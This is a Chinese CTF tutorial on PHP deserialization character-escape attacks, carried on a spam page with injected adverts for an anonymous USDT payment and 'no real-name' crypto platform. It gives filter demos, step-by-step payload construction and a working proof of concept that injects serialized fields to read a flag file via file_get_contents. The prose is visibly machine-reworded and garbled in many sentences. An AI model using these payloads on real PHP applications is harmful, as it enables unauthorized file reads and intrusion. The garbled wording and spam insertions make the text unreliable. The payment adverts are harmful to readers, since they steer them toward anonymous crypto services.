快捷搜索:  2100  tagid=19377  tagid=19374  创意文化园  test  as  tagid=19387  tagid=19363

usdt充值接口(www.caibao.it):PHP反序列化 — 字符逃逸

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

前言
由于以前一直在学习PHP反序列化字符逃逸的时刻总是看到大佬组织的Payload似乎易如反掌,但对于小白来说却很难明白。以是我写了这篇文章作为总结,同时作为一名理科生,将组织步骤拆解为一步步的方式,我想这可以对大多数同砚起到很好的辅助。

PHP反序列化特点

01 PHP在反序列化时,底层代码是以 ; 作为字段的分开,以 } 作为末端(字符串除外),并且是凭据长度判断内容的 ,同时反序列化的过程中必须严酷根据序列化规则才气乐成实现反序列化 。例如下图超出的abcd部门并不会被反序列化乐成。


02 当序列化的长度不对应的时刻会泛起报错


03 可以反序列化类中不存在的元素
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>

PHP反序列化字符逃逸
字符逃逸的本质实在也是闭合,然则它分为两种情形,一是字符变多,二是字符变少
字符逃逸(字符增多)

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>


组织修改age的值的代码:";i:1;s:2:"20";} ,再盘算一下组织的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面组织的代码:";i:1;s:2:"20";} 拼接,即:username的值此时传入的是: pppppppppppppppp";i:1;s:2:"20";},这样序列化对应的32位长度在过滤后的序列化时会被32个w所有填充,从而使我们组织的代码 ";i:1;s:2:"20";} 乐成逃逸,修改了age的值。(后面的值忽略是特点1)


判断每个字符过滤后会比原字符多出几个。若是多出一个就与上述相同,若是多出两个。则可以明白上面的Demo中的p过滤后会酿成3个W,我们组织的代码长度依然是16,那么逃逸也就只需要再组织16/2=8个p即可(即:组织代码的长度除以多出的字符数)


字符逃逸(字符削减)

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>


再看这个Demo,很明显两个p酿成了一个W,然则前面的长度依然是7,由于过滤后的字符长度变小了,以是该7位数值将向后吞噬了第一个“到;竣事,以是这种问题就不再是只通报一个值,而应该在username处通报组织的过滤字符,age处通报逃逸代码。
字符逃逸(字符削减组织三步走)
第一步
行使Demo中的代码将age的值修改为想要修改的数值,即:20,获得age处序列化的值为;i:1;s:2:"20";},那么把这段数值再次传入Demo代码的age处(该值即为最终的逃逸代码),而此时username通报的p的数值无法确定,先可随意组织,查看效果


第二步
age处通报一个随便数值和双引号举行闭合,即:再次传入age = A";i:1;s:2:"20";},查看效果


第三步
盘算选中部门(长度为13)凭据过滤后字符缩减情形组织,Demo中每两个p变为1个W,相当于逃逸1位(选中部门即为逃逸字符)以是输入13*2=26个p举行逃逸,即最终通报usernmae=pppppppppppppppppppppppppp,age=A";i:1;s:2:"20";}

真题剖析
[CTFSHOW]Web1此夜圆 ->字符增多

<?php
error_reporting(0);class a
{
    public $uname = '123';
    public $password = 'yu22x';
}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}$a = new a();
var_dump(serialize($a));
echo "<pre>";
$r = filter(serialize($a));
var_dump($r);
var_dump(unserialize($r));
?>

[安洵杯2019]easy_serialize_php ->字符削减

<?php
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是
若干再弥补
$_SESSION["function"] = '123';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>


第二步,修改$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}


第三步,盘算选中部门长度(组织逃逸代码)令$_SESSION[user]为6个4位长度的字符(flag)或者8个3位长度的字符(php)然则问题里的SESSION有三个参数,而我们第二行组织的代码中以}末端了,以是反序列化后只能泛起两个参数,没有满足要求,以是不会乐成反序列化,那么只需要再随便弥补一段序列化值即可。
最终POC:

<?php
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>


获得flag的真正位置后再重新对该值举行一下Base64加密,替换了原Base64位置即可(由于加密后长度相同,以是不用再重新组织)


发表评论
sunbet声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: